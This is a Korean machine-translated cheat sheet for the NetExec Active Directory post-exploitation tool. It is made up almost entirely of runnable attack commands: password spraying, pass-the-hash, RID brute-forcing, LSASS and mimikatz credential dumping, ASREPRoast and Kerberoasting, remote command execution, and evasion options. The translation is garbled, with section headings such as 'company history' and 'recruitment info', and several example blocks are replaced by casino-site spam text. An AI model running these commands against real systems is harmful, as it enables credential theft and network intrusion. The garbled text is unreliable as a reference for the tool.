네트워크¶

NetExec (이전 CrackMapExec)는 네트워크 프로토콜 남용 및 자격 공격을 통해 큰 Active Directory 네트워크의 보안을 평가하는 데 도움이되는 포스트 폭발 도구입니다.

설치 및 설치¶

Command	Description
`pip3 install netexec`	Install NetExec via pip
`pipx install netexec`	Install with pipx (recommended)
`git clone https://github.com/Pennyw0rth/NetExec.git`	Clone from GitHub
`cd NetExec && pip3 install .`	Install from source
`netexec --version`	Check installed version
`netexec --help`	Display help information

기본 사용¶

Command	Description
`netexec smb 192.168.1.0/24`	Scan SMB on subnet
`netexec smb 192.168.1.100 -u username -p password`	Authenticate with credentials
`netexec smb 192.168.1.100 -u username -H ntlmhash`	Authenticate with NTLM hash
`netexec smb 192.168.1.100 -u '' -p ''`	Anonymous authentication
`netexec smb targets.txt -u username -p password`	Use target file

Protocol 지원¶

SMB 프로토콜¶

Command	Description
`netexec smb 192.168.1.100`	Basic SMB enumeration
`netexec smb 192.168.1.100 --shares`	Enumerate shares
`netexec smb 192.168.1.100 --users`	Enumerate users
`netexec smb 192.168.1.100 --groups`	Enumerate groups
`netexec smb 192.168.1.100 --local-groups`	Enumerate local groups
`netexec smb 192.168.1.100 --sessions`	Enumerate sessions
`netexec smb 192.168.1.100 --disks`	Enumerate disks

WinRM 프로토콜¶

Command	Description
`netexec winrm 192.168.1.100 -u username -p password`	WinRM authentication
`netexec winrm 192.168.1.100 -u username -p password -x "whoami"`	Execute command
`netexec winrm 192.168.1.100 -u username -p password -X powershell.ps1`	Execute PowerShell script

LDAP 프로토콜¶

Command	Description
`netexec ldap 192.168.1.100 -u username -p password`	LDAP authentication
`netexec ldap 192.168.1.100 -u username -p password --users`	Enumerate LDAP users
`netexec ldap 192.168.1.100 -u username -p password --groups`	Enumerate LDAP groups
`netexec ldap 192.168.1.100 -u username -p password --computers`	Enumerate computers

MSSQL 프로토콜¶

Command	Description
`netexec mssql 192.168.1.100 -u username -p password`	MSSQL authentication
`netexec mssql 192.168.1.100 -u username -p password -q "SELECT @@version"`	Execute SQL query
`netexec mssql 192.168.1.100 -u username -p password --local-auth`	Local authentication

SSH 프로토콜¶

Command	Description
`netexec ssh 192.168.1.100 -u username -p password`	SSH authentication
`netexec ssh 192.168.1.100 -u username -k id_rsa`	SSH key authentication
`netexec ssh 192.168.1.100 -u username -p password -x "id"`	Execute command

인증 방법¶

비밀번호 인증¶

Command	Description
`netexec smb 192.168.1.100 -u username -p password`	Single credential
`netexec smb 192.168.1.100 -u users.txt -p passwords.txt`	Credential lists
`netexec smb 192.168.1.100 -u username -p passwords.txt`	Password spraying
`netexec smb 192.168.1.100 -u users.txt -p password`	User enumeration

Hash 인증¶

Command	Description
`netexec smb 192.168.1.100 -u username -H ntlmhash`	NTLM hash
`netexec smb 192.168.1.100 -u username -H lmhash:ntlmhash`	LM:NTLM hash
`netexec smb 192.168.1.100 -u users.txt -H hashes.txt`	Hash lists

Kerberos 인증¶

Command	Description
`netexec smb 192.168.1.100 -u username -p password -k`	Kerberos authentication
`netexec smb 192.168.1.100 -u username --use-kcache`	Use Kerberos cache
`netexec smb 192.168.1.100 -u username -p password --kerberos`	Force Kerberos

회사연혁¶

Command	Description
`netexec smb 192.168.1.100 --shares`	List shares
`netexec smb 192.168.1.100 --shares -u username -p password`	Authenticated share listing
`netexec smb 192.168.1.100 --spider SHARE`	Spider share contents
`netexec smb 192.168.1.100 --spider SHARE --pattern "*.txt"`	Search for files

회사 소개¶

Command	Description
`netexec smb 192.168.1.100 --users`	Enumerate users
`netexec smb 192.168.1.100 --rid-brute`	RID bruteforce
`netexec smb 192.168.1.100 --users --rid-brute 1000-2000`	RID range

그룹소개¶

Command	Description
`netexec smb 192.168.1.100 --groups`	Enumerate groups
`netexec smb 192.168.1.100 --local-groups`	Local groups
`netexec smb 192.168.1.100 --groups "Domain Admins"`	Specific group

컴퓨터 Enumeration¶

Command	Description
`netexec ldap 192.168.1.100 --computers`	Enumerate computers
`netexec smb 192.168.1.100 --computers`	SMB computer enumeration

명령 실행¶

SMB 명령 실행¶

Command	Description
`netexec smb 192.168.1.100 -u username -p password -x "whoami"`	Execute command
`netexec smb 192.168.1.100 -u username -p password -X script.ps1`	Execute PowerShell script
`netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec`	Use WMI execution
`netexec smb 192.168.1.100 -u username -p password --exec-method smbexec`	Use SMB execution

WinRM 명령 실행¶

Command	Description
`netexec winrm 192.168.1.100 -u username -p password -x "Get-Process"`	PowerShell command
`netexec winrm 192.168.1.100 -u username -p password -X script.ps1`	Execute script

모듈¶

내장 모듈¶

Command	Description
`netexec smb 192.168.1.100 -M spider_plus`	Enhanced spidering
`netexec smb 192.168.1.100 -M enum_avproducts`	Enumerate AV products
`netexec smb 192.168.1.100 -M gpp_password`	Group Policy Preferences
`netexec smb 192.168.1.100 -M lsassy`	LSASS dumping
`netexec smb 192.168.1.100 -M mimikatz`	Mimikatz execution

모듈 옵션¶

Command	Description
`netexec smb 192.168.1.100 -M spider_plus -o READ_ONLY=false`	Module options
`netexec smb 192.168.1.100 -M lsassy -o BLOODHOUND=true`	Bloodhound output

Database 운영¶

Command	Description
`netexec smb 192.168.1.100 --users --export users.csv`	Export to CSV
`netexec db`	Database management
`netexec db --workspace default`	Set workspace
`netexec db --clear-database`	Clear database

고급 기능¶

Credential 청소¶

Command	Description
`netexec smb targets.txt -u users.txt -p passwords.txt --continue-on-success`	Continue on success
`netexec smb targets.txt -u users.txt -p passwords.txt --fail-limit 3`	Fail limit

비밀번호¶

Command	Description
`netexec smb 192.168.1.100 --pass-pol`	Get password policy
`netexec ldap 192.168.1.100 --pass-pol`	LDAP password policy

Bloodhound 통합¶

Command	Description
`netexec ldap 192.168.1.100 -u username -p password --bloodhound`	Collect Bloodhound data
`netexec ldap 192.168.1.100 -u username -p password --bloodhound -c All`	All collections

ASREP로스트¶

Command	Description
`netexec ldap 192.168.1.100 -u users.txt --asreproast asrep.txt`	ASREPRoast attack
`netexec ldap 192.168.1.100 -u username -p password --asreproast asrep.txt`	Authenticated ASREPRoast

채용정보¶

Command	Description
`netexec ldap 192.168.1.100 -u username -p password --kerberoasting kerb.txt`	Kerberoasting attack

산출과 로깅¶

Command	Description
`netexec smb 192.168.1.100 --verbose`	Verbose output
`netexec smb 192.168.1.100 --debug`	Debug output
`netexec smb 192.168.1.100 -o output.txt`	Save output to file
`netexec smb 192.168.1.100 --log logs/`	Log directory

제품 설명¶

Config 파일 (~/.nxc/nxc.conf)¶

카지노사이트

프로토콜 별 옵션¶

Command	Description
`netexec smb 192.168.1.100 --port 445`	Custom port
`netexec smb 192.168.1.100 --timeout 5`	Connection timeout
`netexec smb 192.168.1.100 --threads 100`	Thread count

Evasion 기술¶

Command	Description
`netexec smb 192.168.1.100 --jitter 1-5`	Random delay
`netexec smb 192.168.1.100 --delay 2`	Fixed delay
`netexec smb 192.168.1.100 --obfs`	Obfuscation

일반 공격 Scenarios¶

도메인 Enumeration¶

카지노사이트

Credential 공격¶

카지노사이트

포스트 폭발¶

카지노사이트

다른 도구와 통합¶

Impacket 통합¶

Command	Description
`netexec smb 192.168.1.100 -u username -p password --exec-method wmiexec`	Use Impacket WMI
`netexec smb 192.168.1.100 -u username -p password --exec-method smbexec`	Use Impacket SMB

Crackmapexec 마이그레이션¶

Command	Description
`netexec --convert-cme-db`	Convert CME database
`alias cme='netexec'`	Create alias for compatibility

문제 해결¶

Command	Description
`netexec --help`	General help
`netexec smb --help`	Protocol-specific help
`netexec -v`	Version information
`netexec --debug smb 192.168.1.100`	Debug mode

최고의 연습¶

사용 가능한 경우 enumeration 전에 인증
검출을 방지하기 위해 적절한 지연을 구현
다른 참여를 구성하기 위해 workspaces를 사용합니다.
더 분석을위한 수출 결과
종합 평가를 위한 다른 도구와 결합
방어적인 응답을 위한 감시자
압도적인 표적을 피하기 위하여 적합한 실 조사를 사용하십시오
자주 묻는 질문
대규모 공격 전에 자격 증명
필요한 경우 obfuscation 기법 사용

보안 고려 사항¶

공인된 네트워크에서만 사용
적절한 액세스 제어 구현
보안 도구에 의한 탐지 모니터링
최소한의 권한 원칙
규정 준수에 대한 모든 활동
적용 가능한 경우 파란색 팀과의 협조
적절한 정리 절차 구현
보관 자격 증명
가능한 경우 암호화 통신
자주 묻는 질문